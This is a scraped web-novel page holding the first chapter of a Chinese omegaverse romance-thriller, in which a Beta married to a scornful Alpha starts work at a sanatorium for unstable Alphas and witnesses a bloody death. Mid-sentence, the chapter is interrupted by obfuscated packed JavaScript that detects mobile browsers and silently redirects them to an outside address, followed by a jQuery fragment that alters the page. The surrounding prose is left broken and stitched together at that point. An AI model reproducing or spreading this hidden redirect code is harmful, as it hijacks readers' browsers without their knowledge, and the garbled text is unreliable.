默认冷灰
24号文字
方正启体

1. 第1章

作者:皮蛋侠本书字数:K更新时间:
    “在疗养院安分点,我不想听到我的伴侣跟别的Alpha不清不白的传闻。”


    车内一片寂静,司机默默地操控方向盘,专心开车。


    Alpha的话一出,翁雪时的脸上浮现出淡淡的红晕,他着急地抓住身旁男人的手,柔软的两只手搭在Alpha坚硬的指骨上:“我,我不会做那种事的……”


    倪期旭不耐烦地把手抽出来,他单手撑着下巴,侧着头看翁雪时。


    同他的名字一样,翁雪时有着一身雪肌,细腻光滑,明明是个Beta,骨架甚至比一般的Omega还要瘦小,宽大的衬衫挂在他的身上,露出一片凹陷分明的锁骨。


    樱粉色的齐耳短发向内扣,略显凌乱的刘海遮住细长的眉。


    翁雪时怕丈夫不信,还想解释,却被倪期旭一口打断:“离我远点,下次没经过我的同意,别碰我。”


    倪期旭的手上还残留着翁雪时的体温,他烦躁地皱眉,说出的话更加刺耳:“啧,疗养院的Alpha也不会饥不择食地看上一个Beta,是我多想了。”


    翁雪时抬起的手停顿在半空,脸上的红晕瞬间退散得一干二净,也将他内心的妄想击碎。


    他原本还以为倪期旭是在关心自己。


    也是,他只是个Beta,明明早就知道,丈夫厌烦自己,但心底总是存着见不得光的期望。


    倪期旭原本是翁雪时弟弟的未婚夫,只不过在两人结婚前夕,竟不见人影,为了维系两家人的关系,翁雪时顶替弟弟嫁给了倪期旭。


    新婚当晚,翁雪时紧张得坐在卧室里,内心充斥着害怕,当倪期旭推门进来之后,一股浓郁的气味袭来,他还没反应过来,就听见倪期旭不可思议的声音。


    “怎么是你!”


    翁雪时这才明白,原来倪期旭根本不知道自己的结婚对象换了人,他也不愿意娶一个Beta。


    Beta精神力低下,嗅不到信息素,他们没办法被Alpha标记,也没办法标记Omega,上层贵族如果娶了一个Beta,是会被其他人嘲笑。


    翁雪时低着头,委屈地抓着衣摆,眼底漫起氤氲的水汽,他紧咬着下唇,在上面留下了分明的齿印。


    这一幕落在倪期旭的眼里,从他的视角,能够看见翁雪时变得湿漉的卷翘睫毛,一颤一颤的,像是蝴蝶的翅膀,透着几分无辜和脆弱。


    装什么!


    倪期旭知道翁雪时向来会装可怜,当初他也是这样,抢走了不属于他的婚约。


    冲鼻的火药味充斥着整辆车,S级别的信息素压在司机的身上,他紧张地抹掉额头上的汗水,一个没注意,轮胎碾着石头过去,车身微微颤动。


    倪期旭注意到自己的失态,他收回信息素,暗自懊恼自己竟因为翁雪时释放信息素。


    而翁雪时对刚才发生的一切浑然不知,也不知道自己的发丝间沾染了浓郁的火药味,一缕缕的信息素违背主人的意愿,顺着翁雪时敞开的领口,停留在嶙峋的锁骨。


    “倪少,疗养院到了。”


    司机及时提醒车内的两人。


    倪期旭拉开车门,头也不回的快速往外走,他的背影颇有些落荒而逃的意味。


    但翁雪时却浑然不知,只以为倪期旭太讨厌自己了,都不愿跟他待在一辆车里。


    翁雪时叹气,他魂不守舍地从车里出来,跟着Alpha一路往前走,他没注意脚下,一个不留神,被凸起的台阶绊倒,脸向下摔去。


    翁雪时闭紧眼,没等到脸摔在地面传来的疼痛,就被人抓着后领拎起来。


    倪期旭绷紧手臂的肌肉,手指划过翁雪时的后颈,感受到一片细腻的肌肤,那里原本是腺体所在的地方,但对Beta而言,只是平平无奇的一块肌肤。


    倪期旭只觉得指尖滚烫,他赶忙收回手,欲盖弥彰地添了句:“蠢货。”


    被骂了的翁雪时不敢回嘴,只是在走路的时候,更注意脚下的台阶,生怕再被绊倒。


    跟在后面的翁雪时偷偷地观察面前的疗养院,听说这里面的全是生病的Alpha,高等级的信息素给了Alpha强悍的精神力,但同时也伴随着风险,等级越高,他们越难控制自己的行为,情绪容易变得暴躁,所以那些影响社会安定的Alpha都被送到疗养院。


    不知是不是他的心理暗示,当翁雪时走进疗养院的大楼后,他都觉得气氛变得凝重了几分。


    倪期旭单手撑在前台上,另外一只手则点着手机屏幕在同人发消息,他头也没抬地吩咐翁雪时:“待会会有人带你去录人脸,你就在这里等着。”


    独自待在陌生的环境,翁雪时睫毛害怕猛得颤抖,他低声问:“那你呢?”


    “跟你没关系。”倪期旭心情不好,他把手机收进去,转身就往电梯走去,就在他要拐进转角的时候,鬼使神差地扭头。


    只见翁雪时孤零零的,一个人站在大厅,满脸都是茫然,阳光洒在他服帖柔顺的齐肩短发上,发丝被泼上金黄色的颜料。


    倪期旭的唇张了张,最后还是什么都没说,收回目光,若无其事地进入电梯。


    偌大的大堂只剩下翁雪时孤零零地站着,他左顾右盼,最后找了个角落,安静地坐下来。


    没过几分钟,一个挂着工作牌的护理过来,她在大厅里扫视了半天,最后才在最偏僻的地方找到了默默举着手的翁雪时。


    李晓风风火火地走过来:“你就是新来的护理,翁雪时?我先带你去录人脸,然后再去领工作服。”


    李晓的语速很快,翁雪时跟不上,只能似懂非懂地装作听明白的样子,一味的点头。


    两人穿过走廊,来到办公室,面前摆放的是一台黑色的机器,翁雪时一凑过去,屏幕就显示出他的脸。


    “翁雪时,第一性别男,第二性别Beta,年龄20,已婚。”


    李晓惊讶地上下打量翁雪时:“这么年轻就已经结婚啦?不过这样也好,你应该提前了解过我们这里的病人,都是Alpha,既然结婚了,你更要跟他们保持距离,不要妄想攀上贵族Alpha一步登天。”


    “我们这边是8点上班,下午6点下班,然后这边会安排宿舍,这是宿舍的钥匙,你中午可以在里面休息,对了,你晚上是回去住还是在宿舍住?”


    李晓的手搭在水杯上,用力一拧,大口吞咽着冰凉的水,缓解喉咙的干涩,她自顾自地讲了许多,总算是给翁雪时留了说话的机会。


    翁雪时接过钥匙,他的指腹抵着钥匙的缺口,摇了摇头:“回去住。”


    翁雪时在结婚前一晚,母亲就教他如何做好一个妻子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283975|198405||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,他是Beta,能嫁给一个Alpha是他走运。


    一个合格的妻子,怎么能独自住在外面?


    “行。”李晓对他的决定没意见,她拉开柜门,里面是崭新的工作服:“工作的时候别忘了换衣服,没有什么事的话,我先走了。”


    “谢谢。”虽然翁雪时感激李晓将工作交代清楚,但知道她终于要走后,翁雪时默默地松了口气。


    望着李晓离开的背影,翁雪时抱着工作服靠在墙面,慢慢地敲着手机上的键盘,细嫩的指尖在屏幕上戳戳点点。


    [翁雪时]:老公,你现在在哪?我已经录好人脸了,我现在可以来找你吗?


    两人很少聊天,对话框里只有零星的几句话,翁雪时站得腿发酸,他换了个姿势,也没等来倪期旭的回复。


    不知从哪里灌进来的风,吹得大堂的气温降低了好几度,翁雪时犹豫片刻,他抱着怀里的工作服,往电梯的方向走去。


    只有倪期旭用过的电梯停在十三楼,翁雪时按下按键,在等待的过程中,他心里几次退缩,想着要不然还是在楼下等着。


    就在翁雪时纠结的时候,电梯的门缓缓打开,明亮的电梯同昏暗的大堂相比,更有吸引力。


    翁雪时下定决心进入电梯,按下十三楼的按钮。


    楼层在不断地跳动,轻微的失重感让翁雪时忍不住退缩,他害怕自己贸然上楼会惹得倪期旭不高兴。


    他不该上来的。


    电梯停在十三楼,但翁雪时已经打算回去了,正当他准备关闭电梯时,一抹身影从翁雪时的眼前闪过,消失在楼道的拐角。


    翁雪时探出半个身体,樱粉的齐肩短发也随着动作左右晃动,他没看错,那是倪期旭!


    翁雪时立即将离开的念头抛在脑后,他把装着工作服的袋子抱在胸口,噔噔噔地就跟着人影跑。


    等来到拐角时,左右两条截然相反的长廊让他一脸懵,唇角抿成一条线,绷着一张小脸,左顾右盼。


    “砰。”


    一声巨响吓得翁雪时后退几步,他的注意被吸引,抱着袋子,贴着墙悄悄地走过去。


    走廊的尽头是一扇半掩着的门,翁雪时尝试用手推它,只能推开一条窄小的缝隙。


    他趴在门上,向着里面张望,房间不大,空旷且没有一个家具,只有一个男人背对着翁雪时站着,没等他看清,男人直愣愣地向后倒,发出轰隆的响声,紧接着血以男人为中心,向四周弥漫。


    翁雪时的脑袋空白,什么想法都没有,宛如雕像一动不动。


    直到轮椅出现在他的视线中,翁雪时的脑袋僵硬地往上抬,隔着一道缝隙,和一双漆黑如墨的眼眸对视。


    狭长的眼睛冰冷淡漠,无机质的眼珠转动,向下凝视着翁雪时,停留在他唇上的齿印。


    快跑!快跑!


    翁雪时的牙都在颤动,他往后退,双腿发软,跌坐在地上。


    直到听见门上锁链碰撞的声音,不知从哪里冒出的力气,翁雪时跌跌撞撞地爬起来,甚至来不及捡掉在地上的工作服,头也不回跑开。


    身后的人并不着急追上去,而是操纵着轮椅从门后出现,他弯下腰,捡起地上的袋子,骨节分明的手指勾起袋子里的工作牌,低声念着上面的名字。


    “翁、雪、时。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)